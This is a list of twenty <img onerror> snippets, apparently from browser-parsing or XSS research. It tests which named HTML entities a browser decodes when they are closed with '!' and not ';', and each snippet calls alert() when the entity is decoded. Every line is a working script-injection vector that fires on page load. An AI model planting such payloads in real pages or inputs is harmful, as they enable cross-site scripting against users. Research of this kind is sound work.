Named HTML entities that can be closed with !

<img src=data: onerror="`&ordf!x`==`&ordf;!x`?alert('ordf'):0">

<img src=data: onerror="`&acirc!x`==`&acirc;!x`?alert('acirc'):0">

<img src=data: onerror="`&yen!x`==`&yen;!x`?alert('yen'):0">

<img src=data: onerror="`&ucirc!x`==`&ucirc;!x`?alert('ucirc'):0">

<img src=data: onerror="`&uml!x`==`&uml;!x`?alert('uml'):0">

<img src=data: onerror="`&Ntilde!x`==`&Ntilde;!x`?alert('Ntilde'):0">

<img src=data: onerror="`&aelig!x`==`&aelig;!x`?alert('aelig'):0">

<img src=data: onerror="`&Icirc!x`==`&Icirc;!x`?alert('Icirc'):0">

<img src=data: onerror="`&thorn!x`==`&thorn;!x`?alert('thorn'):0">

<img src=data: onerror="`&ecirc!x`==`&ecirc;!x`?alert('ecirc'):0">

<img src=data: onerror="`&lt!x`==`&lt;!x`?alert('lt'):0">

<img src=data: onerror="`&iuml!x`==`&iuml;!x`?alert('iuml'):0">

<img src=data: onerror="`&macr!x`==`&macr;!x`?alert('macr'):0">

<img src=data: onerror="`&ocirc!x`==`&ocirc;!x`?alert('ocirc'):0">

<img src=data: onerror="`&agrave!x`==`&agrave;!x`?alert('agrave'):0">

<img src=data: onerror="`&Ocirc!x`==`&Ocirc;!x`?alert('Ocirc'):0">

<img src=data: onerror="`&Uuml!x`==`&Uuml;!x`?alert('Uuml'):0">

<img src=data: onerror="`&pound!x`==`&pound;!x`?alert('pound'):0">

<img src=data: onerror="`&ouml!x`==`&ouml;!x`?alert('ouml'):0">

<img src=data: onerror="`&eth!x`==`&eth;!x`?alert('eth'):0">